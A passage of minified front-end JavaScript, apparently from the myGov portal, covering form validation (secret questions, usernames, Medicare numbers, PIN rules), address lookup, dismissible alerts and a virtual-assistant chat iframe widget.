aria-hidden");break;case"email":formHelper.clearError($("[data-mobile-num]"));formHelper.resetDefaultValue($("[data-mobile-num]"));$("[data-mobile-num]").closest($("label")).attr({"hidden":true,"aria-hidden":true});$("[data-email-addr]").closest($("label")).removeAttr("hidden aria-hidden");break;default:}});(function($){var initSQA=function(){var $form=$(".sqa-form"),$question=$("[data-secretquestion]"),$answer=$("[data-secretanswer]");$(".selectRadio input:radio").on("blur change",function(){var selectedRadioName=$(".selectRadio input:radio:checked").val();if((selectedRadioName)===undefined){formHelper.setErrorSelect($(".selectRadio"),"Make a selection");}else{formHelper.clearErrorSelect($(".selectRadio"));}});$question.on("blur",function(){var errMsg="",rule1=formHelper.chkFieldIsEmpty($(this)),rule2=chkQuestionAnswerSame(),rule3=formHelper.chkTooManyCharacters($(this),100);if(rule1){errMsg="Enter a question";}else{if(rule2){errMsg="The question and answer must be different";}else{if(rule3){errMsg="The question can't be more than 100 characters including spaces";}}}if(errMsg!==""){formHelper.setError($(this),errMsg,"p");}else{formHelper.clearError($question);}chkQuestionAnswerSame();});$answer.on("blur",function(){var errMsg="",rule1=formHelper.chkFieldIsEmpty($(this)),rule2=chkQuestionAnswerSame(),rule3=formHelper.chkTooManyCharacters($(this),40);if(rule1){errMsg="Enter an answer";}else{if(rule2){errMsg="The question and answer must be different";}else{if(rule3){errMsg="The answer can't be more than 40 characters including spaces";}}}if(errMsg!==""){formHelper.setError($(this),errMsg,"p");}else{formHelper.clearError($answer);}});$question.on("keyup",function(){var errMsg="",rule1=formHelper.chkTooManyCharacters($(this),100);if(rule1){errMsg="The question can't be more than 100 characters, including spaces";}if(errMsg!==""){formHelper.setError($(this),errMsg,"p");}});$answer.on("keyup",function(){var errMsg="",rule1=formHelper.chkTooManyCharacters($(this),40);if(rule1){errMsg="The answer can't be more than 40 characters including spaces";}if(errMsg!==""){formHelper.setError($(this),errMsg,"p");}});var chkQuestionAnswerSame=function(){var errMsg="The question and answer must be different";$questionValue=$question.length>0?$question.val().trim().toLowerCase():"";$answerValue=$answer.val().trim().toLowerCase();if(!$questionValue||!$answerValue||(!$questionValue&&!$answerValue)){return;}if($questionValue===$answerValue){return true;}else{return false;}};};var toggleOwnQuestion=function(){var $question=$("[data-secretquestion]"),$answer=$("[data-secretanswer]");$("[data-prefillquestion]").prev("input").on("change",function(){$question.val($(this).next().text());$question.parent().hide();});$("input[name=radioQuestion]").on("change",function(){var $selectedQuestion=$("input[name=radioQuestion]:checked"),$lastQuestion=$("input[name=radioQuestion]").last();if($selectedQuestion.val()!==$answer.val()){formHelper.clearError($answer);}else{formHelper.setError($answer,"The question and answer must be different","p");}if($lastQuestion.is(":checked")){formHelper.clearError($selectedQuestion);formHelper.clearError($answer);$question.val("");$question.parent().show().css("display","block");}else{formHelper.clearError($question);$question.parent().hide();}});};toggleOwnQuestion();initSQA();})(jQuery);(function($){$(document).ready(function(){if($("[data-date]").length>0){if($("[data-date]").val()!==""){var date=$("[data-date]").val().split("/");var $parent=$(".date-fields");day=$parent.find("[data-date-day]").val(date[0]);month=$parent.find("[data-date-month]").val(date[1]);year=$parent.find("[data-date-year]").val(date[2]);formHelper.enableDate();}}$("#raetDiv-home").on("change","input",function(){if($("#same-as-residential").is(":checked")){mapHomePostal();}});$("#same-as-residential").on("change",function(){if($("#same-as-residential").is(":checked")){mapHomePostal();}else{$("#postal-section input").val("");}});$("#same-as-residential").on("click",function(){$("#postal-section").toggle();});$("#raetDiv-home, #raetDiv-postal").on("blur keyup","input",function(){resetDate();});var homeSectionBlank=function(){var blank=true;$("#raetDiv-home input").each(function(){if(!blank){return blank;}var input=$.trim($(this).val());blank=!input;});return blank;};var postalSectionBlank=function(){var blank=true;$("#raetDiv-postal input").each(function(){if(!blank){return blank;}var input=$.trim($(this).val());blank=!input;});return blank;};var resetDate=function(){var homeBlank=homeSectionBlank();var postalBlank=postalSectionBlank();var blank=homeBlank&&postalBlank;blank?formHelper.disableDate():formHelper.enableDate();};var mapHomePostal=function(){$("#delivery-address-line-1-singleLine").val($("#residential-address-line-1-singleLine").val());$("#postal-address").val($("#home-address").val());$("#postal-suburb").val($("#home-suburb").val());$("#postal-postcode").val($("#home-postcode").val());$("#postal-state").val($("#home-state").val());};function raetToggleText(element,name){if($("#raetDiv-"+name).attr("data-view")==="multi"){element.text("Find my "+name+" address");}if($("#raetDiv-"+name).attr("data-view")==="single"){element.text("I can't find my "+name+" address");}}function raetToggleView(name){$(".raet-"+name+"-anchor").on("click",function(){$("#raetDiv-"+name).attr("data-view",function(index,attr){return attr=="multi"?"single":"multi";});raetToggleText($(this),name);if($("#raetDiv-"+name).attr("data-view")==="multi"){raetAddress("multi",name);}if($("#raetDiv-"+name).attr("data-view")==="single"){raetAddress("single",name);}$(this).attr("aria-pressed","true").attr("aria-live","polite").attr("aria-atomic","true");$("#raetDiv-"+name).find("input")[0].focus();resetDate();});}raetToggleView("home");raetToggleView("postal");function removeContainers(root){if(root){$("> .raet-container",$(root)).remove();}}function raetAddress(view,name){var rootContainer=$("#raetDiv-"+name);if(rootContainer){removeContainers(rootContainer);var config={webService:"prod_secure",destination:document.getElementById("raetDiv-"+name),fields:{streetAddress:document.getElementById(name+"-address"),suburb:document.getElementById(name+"-suburb"),postcode:document.getElementById(name+"-postcode"),state:document.getElementById(name+"-state")},labels:{singleLine:"Find address"}};if(view==="single"){config.type="singleLine";}if(view==="multi"){config.integration=true;}Raet(config);}}function raetInit(name){$("#"+name+"-output").each(function(){var allEmpty=true;$(this).find('input[type="text"]').each(function(){if(this.value.trim().length>0){allEmpty=false;$("#raetDiv-"+name).attr("data-view","multi");raetAddress("multi",name);raetToggleText($(".raet-"+name+"-anchor"),name);return false;}});if(allEmpty===true){$("#raetDiv-"+name).attr("data-view","single");raetAddress("single",name);raetToggleText($(".raet-"+name+"-anchor"),name);}});}raetInit("home");raetInit("postal");});})(jQuery);$(document).ready(function(){$("[data-identity-expanded]").on("click",function(){$(this).attr("aria-expanded",function(name,value){return value==="false"?"true":"false";});$(".identity-hub-info-text").slideToggle();clearArrows();if($(this).attr("aria-expanded")==="true"){$("#find-out-more-digital-identity").removeClass("link-arrow-down");$("#find-out-more-digital-identity").addClass("link-arrow-up");}else{$("#find-out-more-digital-identity").removeClass("link-arrow-up");$("#find-out-more-digital-identity").addClass("link-arrow-down");}});function clearArrows(){$("#find-out-more-digital-identity").removeClass("link-arrow-down");$("#find-out-more-digital-identity").removeClass("link-arrow-up");}$("[data-login-username]").on("blur",function(){if($(this).val().trim()!==""){var message="Enter a valid email address, mobile number or myGov username. A valid myGov username is 2 letters, followed by 6 numbers.";if(formHelper.isEmailValid($(this).val())||(/^[A-z]{2}[0-9]{6}$/g).test($(this).val())||formHelper.isMobileValid($(this).val())){formHelper.clearError($(this));}else{formHelper.setError($(this),message,"p");}}else{formHelper.setError($(this),"Enter a username or email address","p");}});$("#mygov-beta").on("click",function(e){var action=dynaTrace.enterAction("myGovBetaNav","click");dynaTrace.leaveAction(action);});});window.addEventListener("hashchange",function(event){var element=document.getElementById(location.hash.substring(1));if(element){if(!/^(?:a|select|input|button|textarea)$/i.test(element.tagName)){element.tabIndex=-1;}element.focus();}},false);$("[data-poro-input]").on("blur",function(){if($(this).val()!==""){if($('input[name="formId"]').val()==="clkPersonalDetailsFast"){}else{var pattern=new RegExp($(this).attr("data-pattern"));var validPattern=pattern.test($(this).val());if(!validPattern){var patternMsg=$(this).attr("data-pattern-msg");var msg="Enter a valid value";msg=patternMsg!==undefined?patternMsg:msg;formHelper.setError($(this),msg,"p");}else{formHelper.clearError($(this));}}}});$("[data-poro-input-mandatory]").on("blur",function(){if($('input[name="formId"]').val()==="clkPersonalDetailsFast"){}else{if(formHelper.isNotEmpty($(this).val())){if($(this).attr("data-poro-input")===undefined){formHelper.clearError($(this));}}else{formHelper.setError($(this),"Require a value","p");}}});$("[data-poro-checkbox-mandatory]").on("blur",function(){if($(this).is(":checked")){formHelper.clearError($(this));}else{formHelper.setError($(this),"Must be selected","p");}});$("[data-helptext-toggle]").on("click",function(){var attr=$(this).attr("aria-expanded");attr=attr==="false"?"true":"false";$(this).attr("aria-expanded",attr);$(this).attr("tabindex",tabindex);var $ariaControl=$("#"+$(this).attr("aria-controls"));var tabindex=$ariaControl.attr("tabindex");tabindex=tabindex==="-1"?"0":"-1";$ariaControl.attr("tabindex",tabindex);$ariaControl.toggle();});$("[button-poro-cancel]").on("click",function(e){e.preventDefault();});$("[data-helptext-toggle]").on("keypress",function(e){if(e.which===32){$(this).trigger("click");}if(e.which===9){e.preventDefault();}});$("[data-number--only]").on("blur",function(e){if(formHelper.isNotEmpty($(this).val())&&formHelper.chkNumberOnly($(this))){formHelper.clearError($(this));}else{formHelper.setError($(this),"Enter a valid number","p");}});$("[data-number--optional]").on("blur",function(e){if(formHelper.chkNumberOnly($(this))){formHelper.clearError($(this));}else{if(formHelper.isNotEmpty($(this).val())){formHelper.setError($(this),"Enter a valid number","p");}}});$("[data-medicare--input]").on("blur",function(e){if(formHelper.chkNumberOnly($(this))&&$(this).val().length===10){formHelper.clearError($(this));}else{formHelper.setError($(this),"Enter a valid medicare number","p");}});$(document).ready(function(){if($('input[name="formId"]').val()==="clkPersonalDetailsFast"){$("input[name*=clkCRN]").addClass("is-visuallyhidden").val("000000000Z");$("button[name=_eventId_next]").text("Continue");}var keyup_checker=function(evt){var stroke,_ref;stroke=(_ref=evt.which)!=null?_ref:evt.keyCode;this.search_field_scale();switch(stroke){case 8:if(this.is_multiple&&this.backstroke_length<1&&this.choices_count()>0){return this.keydown_backstroke();}else{if(!this.pending_backstroke){this.result_clear_highlight();return this.results_search();}}break;case 13:evt.preventDefault();evt.stopPropagation();if(this.results_showing){return this.result_select(evt);}else{this.results_search();}break;case 27:if(this.results_showing){this.results_hide();}return true;case 9:case 38:case 40:case 16:case 91:case 17:case 18:break;default:return this.results_search();}};$(".chosen-select-man, .chosen-select").each(function(i,select){var $select=$(select);var container=$select.chosen($select.hasClass(".chosen-select")?{allow_single_deselect:true}:{});var data=container.data("chosen");if(data){data.keyup_checker=keyup_checker;data.container.on("keydown",function(e){if(e.key==="Enter"||e.keyCode===13){e.preventDefault();e.stopPropagation();}});var showing=false;data.container.focusin(function(e){if(!showing){data.dropdown.css({left:"0",bottom:"0",overflow:"hidden","z-index":"0"});}});$select.on("chosen:showing_dropdown",function(){showing=true;data.dropdown.css({left:"",bottom:"",overflow:"","z-index":"1"});});$select.on("chosen:hiding_dropdown",function(){showing=false;data.dropdown.css({left:"0",bottom:"0",overflow:"hidden","z-index":"0"});});}});});$(document).ready(function(){var uPIN={init:function(){uPIN.cacheDom();uPIN.onBlur(uPIN.$newPin);uPIN.onBlur(uPIN.$reenterPin);uPIN.onKeyup(uPIN.$newPin);uPIN.onKeyup(uPIN.$reenterPin);$(uPIN.$currentPin).on("blur",function(){console.log(uPIN.$currentPin);if(!uPIN.isEmpty(this)){return;}});$(uPIN.$newPin).on("blur",function(){if(uPIN.$reenterPin.val()!=""){uPIN.$reenterPin.trigger("keyup");}});uPIN.$Pin=$("[data-pin]");$(uPIN.$currentPin).on("blur",function(){if(!uPIN.isEmpty(this)){return;}});},cacheDom:function(){uPIN.$currentPin=$("[data-current-pin]");uPIN.$newPin=$("[data-new-pin]");uPIN.$reenterPin=$("[data-reenter-pin]");},isEmpty:function(element){if(formHelper.isEmpty(element.value)){formHelper.setError($(element),"Enter a PIN","p");return false;}else{formHelper.clearError($(element));return true;}},onBlur:function(element){$(element).on("blur",function(){uPIN.validate(this);});},onKeyup:function(element){$(element).on("keyup",function(e){if(e.which===9){return;}if(e.which===16){return;}uPIN.match(this);});},match:function(element){var successMsg,errorMsg,isSame;if(element.attributes.hasOwnProperty("data-reenter-pin")){isSame=formHelper.isTypingSame(uPIN.$reenterPin,uPIN.$newPin);}if(isSame!==undefined){if(isSame){successMsg="Your PINs are the same";errorMsg="";}else{errorMsg="The PIN you've re-entered doesn't match your new PIN";successMsg="";}if(formHelper.isNotEmpty(uPIN.$reenterPin.val())){(errorMsg!=="")?formHelper.setError(uPIN.$reenterPin,errorMsg,"p"):formHelper.setSuccess(uPIN.$reenterPin,successMsg);}}},maxChars:function(element){if(element.value.length!==4){formHelper.setError($(element),"Your PIN must contain 4 numbers","p");return false;}else{formHelper.clearError($(element));return true;}},notAscending:function(element){if(element.value.length===4&&"0123456789".indexOf(element.value)!=-1){formHelper.setError($(element),"Your PIN can't contain 4 consecutive numbers","p");return false;}else{formHelper.clearError($(element));return true;}},notDescending:function(element){if(element.value.length===4&&"9876543210".indexOf(element.value)!=-1){formHelper.setError($(element),"Your PIN can't contain 4 consecutive numbers","p");return false;}else{formHelper.clearError($(element));return true;}},numericOnly:function(element){if(!(/^\d*$/g).test(element.value)){formHelper.setError($(element),"Your PIN must contain 4 numbers","p");return false;}else{formHelper.clearError($(element));return true;}},sameDigits:function(element){if((/^([0-9])\1{3}$/g).test(element.value)){formHelper.setError($(element),"Your PIN can't contain 4 of the same number","p");return false;}else{formHelper.clearError($(element));return true;}},validate:function(element){if(!uPIN.isEmpty(element)){return;}if(!uPIN.maxChars(element)){return;}if(!uPIN.numericOnly(element)){return;}if(!uPIN.sameDigits(element)){return;}if(!uPIN.notAscending(element)){return;}if(!uPIN.notDescending(element)){return;}if(!uPIN.match(element)){return;}}};uPIN.init();});$(document).ready(function(){var usernameField=$("[data-username]");function validateUsername($inputField){var unameval=$inputField.val(),unameMatch=unameval?formHelper.isUserIdValid(unameval):false,emailMatch=unameval?formHelper.isEmailValid(unameval):false,mobileMatch=unameval?formHelper.isMobileValid(unameval):false;if(unameMatch||emailMatch||mobileMatch){formHelper.clearError($inputField);if(mobileMatch){formHelper.setInfo($inputField,'You must have this <a href="/mygov/content/html/help.html#MobileNumber">mobile number</a> set up as a username in your Account settings.');}else{formHelper.clearInfo($inputField);}}else{formHelper.clearInfo($inputField);formHelper.setError($inputField,"Enter a valid email address, mobile number or myGov username. A valid myGov username is 2 letters, followed by 6 numbers.","p");}}usernameField.on("focusout",function(){if(!this.hasAttribute("dont-validate")){validateUsername($(this));}});});$(document).ready(function(){var usernameEmailField=$("[data-username-email]");function validateUsernameEmail($inputField){var unameval=$inputField.val(),emailMatch=unameval?formHelper.isEmailValid(unameval):false;if(emailMatch){formHelper.clearError($inputField);}else{formHelper.clearInfo($inputField);formHelper.setError($inputField,"Enter a valid email","p");}}usernameEmailField.on("blur",function(){if(!this.hasAttribute("dont-validate")){validateUsernameEmail($(this));}});});(function($){$(":radio[data-apdm]").on("change",function(){var selected=this.value;switch(selected){case"true":$(".button-main").replaceWith('<button type="submit" class="button-main button">Next</button>');break;case"false":$(".button-main").replaceWith('<a href="'+$("#apdmLink").val()+'" role="button" class="button-main button">Next</a>');break;default:}});})(jQuery);(function($){$(window).on("resize",function(){var $expand=$(".outage .expand");if($expand.length&&!$expand.hasClass("expand--expanded")){var content=$(".outage__content").get(0);if(content&&content.offsetWidth>=content.scrollWidth){$expand.attr({"hidden":true,"aria-hidden":true});}else{if($expand.attr("hidden")){$expand.removeAttr("hidden aria-hidden");}}}}).resize();$(".outage").on("click",".expand",function(){$(this).toggleClass("expand--expanded").next(".outage__content").toggleClass("outage__content--expanded");});$("[data-dismiss]").each(function(){$(this).append('<button class="dismiss"><span class="is-visuallyhidden">Dismiss</span></button>');});$("[data-dismiss]").on("click",".dismiss",function(e){e.preventDefault();$(this).parent().fadeOut("fast",function(){$(this).remove();});});$("[data-dismiss-otp-alert]").on("click",".dismiss",function(){$.getJSON("/mygov/dismiss/sio");});$("[data-dismiss-inbox-alert]").on("click",".dismiss",function(){$.getJSON("/mygov/dismiss-inbox-alert");});$("[data-banner-digiId]").on("click",".data-banner-dismiss-button",function(e){e.preventDefault();$("[data-banner-digiId]").fadeOut("fast",function(){$(this).remove();});$.getJSON("/mygov/dismiss/digiId");});$("[data-alert-digiId]").on("click",".data-alert-dismiss-button",function(e){e.preventDefault();$("[data-alert-digiId]").fadeOut("fast",function(){$(this).remove();});$.getJSON("/mygov/dismiss/digiId");});})(jQuery);(function($){$(document).ready(function(){function wait(seconds,formId){setTimeout(function(){submitForm(formId);},seconds*1000);}function submitForm(formId){try{document.getElementById(formId).submit();}catch(err){}}wait(10,"oidcRedirForm");wait(2,"redirForm");});})(jQuery);$("[data-home-welcome-message]").each(function(){$(this).text("Good "+getGreetingTime(moment())+" ");});function getGreetingTime(m){var g=null;if(!m||!m.isValid()){return;}var split_afternoon=12;var split_evening=17;var currentHour=parseFloat(m.format("HH"));if(currentHour>=split_afternoon&&currentHour<=split_evening){g="afternoon";}else{if(currentHour>=split_evening){g="evening";}else{g="morning";}}return g;}$(function(){var upins=$("#upin-login, #upin-input, #upin-confirm");if(global.getAndroidVersion()<4.3){$("fieldset.pin-fields, div.pin-fields").removeClass("pin-fields");upins.attr({type:"password",pattern:"[0-9]*",inputmode:"numeric"}).val("").focus();}else{upins.val("").pincodeInput({hidedigits:true,inputs:4});var upinData=upins.data("plugin_pincodeInput");if(upinData){}}if(global.getUrlParams().event==="close"){$("a.button-back-home").text("Close").removeClass("button-back").click(function(e){e.preventDefault();window.close();});}});var initPinToggle=function(){$(".showPin").on("click",function(){var $this=$(this),$inputType,$passwordInput=$this.siblings("input"),relatedInputStr="",$pinInput=$("#pincode-input");$inputType=$passwordInput.attr("type");if($pinInput.hasClass("conceal")){setPinHide($this);}else{setPinShow($this);}});};var setPinShow=function($this){var $pinInput=$("#pincode-input");$showpinhelptext="Note: this will visually expose your pin on the screen.";$showhelp=$("#show-hide-helpmsg");$pinInput.removeClass("reveal");$pinInput.addClass("conceal");$this.attr("aria-label","Show pin as plain text.").attr("aria-describedby","show-hide-helpmsg").html("<img id='show-hide-icon' src='/mygov/content/mgv2//icons/feather-eye.svg' alt='' /> Show");$showhelp.replaceWith("<p class='is-visuallyhidden' id='show-hide-helpmsg'>"+$showpinhelptext+"</p>");};var setPinHide=function($this){var $pinInput=$("#pincode-input");$pinInput.removeClass("conceal");$pinInput.addClass("reveal");var $hidepinhelptext="Note: this will visually stop exposing your pin on the screen.";$hidehelp=$("#show-hide-helpmsg");$this.attr("aria-label","Hide pin").attr("aria-describedby","show-hide-helpmsg").html("<img id='show-hide-icon' src='/mygov/content/mgv2//icons/feather-eye-off.svg' alt=''  /> Hide");$hidehelp.replaceWith("<p class='is-visuallyhidden' id='show-hide-helpmsg'>"+$hidepinhelptext+"</p>");};$("body").on("click keydown","[data-idp-help-toggle]",function(e){var codes={ENTER:13};if(e.type==="click"||e.keyCode===codes.ENTER){var attr=$(this).attr("aria-expanded");attr=attr==="false"?"true":"false";$(this).attr("aria-expanded",attr);$(this).attr("tabindex",tabindex);var $ariaControl=$("#"+$(this).attr("aria-controls"));var tabindex=$ariaControl.attr("tabindex");$ariaControl.attr("tabindex",tabindex);if($ariaControl.css("display")==="flex"){$ariaControl.css("display","none");}else{$ariaControl.css("display","flex");}}});$(function(){var additionalSelectors="";var fields=$("[autofocus]");if(additionalSelectors){fields.add(additionalSelectors);}var focusField=fields[0];if(focusField){focusField.setAttribute("dont-validate","");global.oneUseEvent(focusField,"keyup",function(){focusField.removeAttribute("dont-validate");});}});var va_isMaximised=false;var va_isOpen=false;var va_isMobile=false;var va_pushTimeout;var va_chatStarted=false;var titleBarTitle="Ask a question";var headingTitle="Ask a question";function getMobileHeader(){var mobileLargeClass="",vaOpenClass="";if(va_isOpen){mobileLargeClass=' class="va_mobileLarge" ';vaOpenClass=" va_open";}var mobileStyle='<div id="va_mobileBar" style="border-top: #d7ea6a 5px solid"'+mobileLargeClass+' aria-live="polite" >'+'<header class="va_header">'+'<h2 class="va_chatTitle_mob" aria-live="polite" id="va_chatTitle">'+headingTitle+"</h2>"+'<div role="button" style="border: 0; margin: 0;" id="va_mobileToggle" aria-live="polite" class="va_mobileToggle'+vaOpenClass+'" title="'+getAltText("va_toggleIcon")+'" aria-label="'+getAltText("va_mobileToggle")+'"></div>'+"</header>"+"</div>";return mobileStyle;}function getDesktopHeader(){var rightMargin=calcRightMargin(),desktopHeaderSize="style='right:"+rightMargin+"'",vaExpanded="",resizeIconState="",resizeIconClass="";if(va_isOpen){vaExpanded=" va_expanded";resizeIconState='style="display: block;"';if(va_isMaximised){desktopHeaderSize='style="height:490px; width:600px; right:'+rightMargin+';"';resizeIconClass=" va_large";}else{desktopHeaderSize='style="height:455px; width:350px; right:'+rightMargin+';"';}}var desktopStyle='<div id="va_chatHeader" '+desktopHeaderSize+' aria-live="polite" title="'+titleBarTitle+'" aria-label="'+titleBarTitle+'">'+'<div class="va_chatBorder"></div>'+'<header class="va_header va_clearfix" style="box-shadow:0 0 3px rgba(0,0,0,.3)">'+'<h2 class="va_chatTitle" id="va_chatTitle" aria-live="polite" >'+headingTitle+"</h2>"+'<div id="va_resizeIcon" class="va_resizeIcon'+resizeIconClass+'" '+resizeIconState+' tabindex="0" aria-live="polite" title="'+getAltText("va_resizeIcon")+'" aria-label="'+getAltText("va_resizeIcon")+'" style="display: none"></div>'+'<div id="va_toggleIcon" class="va_toggleIcon'+vaExpanded+'" tabindex="0" aria-live="polite" title="'+getAltText("va_toggleIcon")+'" aria-label="'+getAltText("va_toggleIcon")+'"></div>'+"</header>"+"</div>";return desktopStyle;}function getAltText(element){if(element=="va_toggleIcon"||element=="va_mobileToggle"){if(va_isOpen){return"Hide "+titleBarTitle;}else{return"Open "+titleBarTitle;}}else{if(element=="va_resizeIcon"){if(va_isMaximised){return"View "+titleBarTitle+" in a smaller window";}else{return"View "+titleBarTitle+" in a larger window";}}}}function setAltText(element){var resizeAlt=getAltText(element);jQuery("#"+element).prop("title",resizeAlt);jQuery("#"+element).attr("aria-label",resizeAlt);}function calcRightMargin(){var windowWidth=jQuery(window).width(),maxContainerWidth=960,rightMargin="2%";return rightMargin;}function insertDiv(){var rightMargin=calcRightMargin(),chatAnchor=document.createElement("div"),appendStyle=va_isMobile==true?getMobileHeader():getDesktopHeader();chatAnchor.id="va_chatAnchor";chatAnchor.className="va_chatAnchor";chatAnchor.zIndex=99999;chatAnchor.setAttribute("role","complementary");chatAnchor.setAttribute("aria-labelledBy","va_chatTitle");document.body.appendChild(chatAnchor);jQuery("#va_chatAnchor").append(appendStyle);}function insertIframe(){var iframe=document.createElement("iframe");iframe.id=iframe.name="va_iframe";iframe.className="va_iframe";iframe.style.zIndex=9999;iframe.style.background="#E5E5E5";iframe.style.right=calcRightMargin();iframe.style.overflow="hidden";jQuery("#va_chatAnchor").append(iframe);}function determineContext(){return"";}function insertIframeSrc(){va_chatStarted=true;var context=determineContext();var source=setDAsource();setIFrameSrc(source);}function setIFrameSrc(source){if(typeof source!="undefined"&&source!=""){jQuery.when(jQuery("#va_iframe").attr("aria-live","assertive").attr("aria-relevant","additions").attr("src",source+"#/wea")).done(function(){return true;});}}function sendGoogleAnalyltics(event){try{if(ga){var context=determineContext();ga("send","event","Digital Assistant",event,context+" VA");}}catch(error){}}function addTimer(){va_pushTimeout=setTimeout(function(){sendGoogleAnalyltics("Timeout");postMessageToIframe("timeout");va_pushTimeout=null;if(!va_isMobile){jQuery("#va_chatHeader").click();}else{jQuery("#va_mobileToggle").click();}},60000);}function disableBGScrolling(){document.body.style.overflow="hidden";document.body.style.position="fixed";}function enableBGScrolling(){document.body.style.overflow="";document.body.style.position="";}function toggleVAMobile(){var toggleWidth=va_isOpen?"0px":"100%",toggleHeight=va_isOpen?"0px":(jQuery(window).height()-50);jQuery("#va_iframe").css({width:toggleWidth,height:toggleHeight,right:"0px",top:"50px"});jQuery("#va_mobileBar").toggleClass("va_mobileLarge");jQuery("#va_mobileToggle").toggleClass("va_open");va_isOpen=!va_isOpen;setAltText("va_mobileToggle");if(va_isOpen){postMessageToIframe({"type":0,"query":{"text":[],"id":"Welcome"}});disableBGScrolling();}else{enableBGScrolling();}}function addOnClickMobile(){jQuery("#va_mobileToggle").on("click",function(){sendGoogleAnalyltics("Mobile click");if(va_pushTimeout){clearTimeout(va_pushTimeout);va_pushTimeout=null;}if(!va_chatStarted){insertIframeSrc();}toggleVAMobile();});}function isWindowMobile(){if(typeof window.matchMedia!=="undefined"){return window.matchMedia("screen and (max-width: 599px), screen and (max-height: 490px)").matches;}return jQuery(window).width()<600;}function responsiveResize(){var isNewScreenMobile=isWindowMobile();var responsiveHeight=0,responsiveWidth=0,responsiveRight="",responsiveTop="",responsiveBottom="",rightMargin=calcRightMargin();if(isNewScreenMobile){if(!va_isMobile){jQuery("#va_chatHeader").replaceWith(getMobileHeader());jQuery("#va_iframe").css("display","");addOnClickMobile();}if(va_isOpen){disableBGScrolling();responsiveHeight=jQuery(window).height()-50;responsiveWidth=jQuery(window).width();responsiveRight="0px";responsiveTop="50px";}}else{enableBGScrolling();if(va_isMobile){jQuery("#va_mobileBar").replaceWith(getDesktopHeader());addOnClickDesktop();addOnResize();}else{jQuery("#va_chatHeader").css({right:rightMargin});}if(va_isOpen){responsiveBottom="0px";if(va_isMaximised){responsiveHeight=435;responsiveWidth=600;}else{responsiveHeight=400;responsiveWidth=350;}}responsiveRight=rightMargin;}jQuery("#va_iframe").css({height:responsiveHeight,width:responsiveWidth,right:responsiveRight,top:responsiveTop,bottom:responsiveBottom});va_isMobile=isNewScreenMobile;}function toggleVADesktop(){var ariaHidden=va_isOpen?"true":"false";if(va_isMaximised){var toggleHeight=va_isOpen?"0px":"435px",toggleWidth=va_isOpen?"0px":"600px",headerHeight=va_isOpen?"55px":"490px",headerWidth=va_isOpen?"350px":"600px";}else{var toggleHeight=va_isOpen?"0px":"400px",toggleWidth=va_isOpen?"0px":"350px",headerHeight=va_isOpen?"55px":"455px",headerWidth="350px";}if(!va_isOpen){if(va_isMaximised){jQuery("#va_iframe").animate({height:toggleHeight,width:toggleWidth});if(!jQuery("#va_resizeIcon").hasClass("va_large")){jQuery("#va_resizeIcon").addClass("va_large");}}else{jQuery("#va_iframe").animate({height:toggleHeight});jQuery("#va_iframe").css({width:toggleWidth});}jQuery("#va_iframe").css("display","inline-block");postMessageToIframe({"type":0,"query":{"text":[],"id":"Welcome"}});}else{jQuery("#va_iframe").animate({height:toggleHeight,width:"350px"});setTimeout(function(){jQuery("#va_iframe").css({width:toggleWidth,display:"none"});},500);}jQuery("#va_chatHeader").animate({height:headerHeight,width:headerWidth},{duration:400,queue:false});jQuery(".va_chatBorder").animate({width:headerWidth},{duration:400,queue:false});jQuery("#va_resizeIcon").toggle();jQuery("#va_toggleIcon").toggleClass("va_expanded");jQuery("#va_skipToConversation").toggleClass("active");jQuery("#va_skipToConversation").attr("aria-hidden",ariaHidden);postMessageToIframe("setAriaHiddenTags"+ariaHidden);va_isOpen=!va_isOpen;setAltText("va_toggleIcon");return true;}function addOnClickDesktop(){jQuery("#va_chatHeader").on("click",function(e){sendGoogleAnalyltics("Desktop click");if(va_pushTimeout){clearTimeout(va_pushTimeout);va_pushTimeout=null;}if(!va_chatStarted){insertIframeSrc();}toggleVADesktop();return false;});jQuery("#va_toggleIcon").bind("keyup",function(e){if(e.keyCode===13){jQuery("#va_chatHeader").click();}});}function addOnResize(){jQuery("#va_resizeIcon").on("click",function(e){resizeVA();e.stopPropagation();return false;});jQuery("#va_resizeIcon").bind("keyup",function(e){if(e.keyCode===13){jQuery("#va_resizeIcon").click();e.stopPropagation();}});}function resizeVA(){var resizeWidth=va_isMaximised?"350px":"600px",resizeHeight=va_isMaximised?"400px":"435px",resizeHeaderHeight=va_isMaximised?"455px":"490px",resizeHeaderWidth=va_isMaximised?"350px":"600px";jQuery("#va_chatHeader").animate({width:resizeHeaderWidth,height:resizeHeaderHeight},{duration:400,queue:false});jQuery(".va_chatBorder").animate({width:resizeHeaderWidth},{duration:400,queue:false});jQuery("#va_iframe").animate({height:resizeHeight,width:resizeWidth},{duration:400,queue:false});jQuery("#va_resizeIcon").toggleClass("va_large");va_isMaximised=!va_isMaximised;setAltText("va_resizeIcon");}function addOnBackwardsTabbing(){jQuery("#va_skipToConversation").unbind("keydown");jQuery("#va_skipToConversation").bind("keydown",function(e){if(e.shiftKey&&e.keyCode===9){postMessageToIframe("loopFocusBackward");e.preventDefault();}else{if(e.keyCode===13){postMessageToIframe("skiptoConversation");e.stopPropagation();}}});}function loopFocusBackwardWithError(){jQuery("#va_resizeIcon").bind("keydown",function(e){if(e.shiftKey&&e.keyCode===9){postMessageToIframe("loopFocusBackwardWithError");e.preventDefault();}});}function addSkipToConversationTabListener(){jQuery("#va_skipToConversation").unbind("keydown");jQuery("#va_skipToConversation").bind("keydown",function(e){if(e.shiftKey&&e.keyCode===9){postMessageToIframe("loopFocusBackwardOptionButton");e.stopPropagation();}else{if(e.keyCode===13){postMessageToIframe("skiptoConversation");e.stopPropagation();}}});}function addOnSkipToConversation(){jQuery("#va_skipToConversation").on("click",function(e){postMessageToIframe("skiptoConversation");e.stopPropagation();return false;});addOnBackwardsTabbing();}function addSkipToBot(){var skipLinks=jQuery(".skip-links");var skipLinkClass="";if(skipLinks.length==0){skipLinks=jQuery(".uikit-skip-link");skipLinkClass='class="uikit-skip-link__link"';}skipLinks.append("<a "+skipLinkClass+' id="va_skipToBot" href="#">Skip to '+titleBarTitle+"</a>");jQuery("#va_skipToBot").on("click",function(e){if(!va_isMobile){jQuery("#va_toggleIcon").focus();}else{jQuery("#va_mobileToggle").click();}e.stopPropagation();return false;});}function hideSkipToConversation(){jQuery("#va_skipToConversation").hide();jQuery("#va_skipToConversation").attr("aria-hidden","true");}function skipToSkipToConversation(){jQuery("#va_skipToConversation").focus();}function skipToResizeIcon(){jQuery("#va_resizeIcon").focus();}function postMessageToIframe(message){window.parent.document.getElementById("va_iframe").contentWindow.postMessage(message,"*");}function 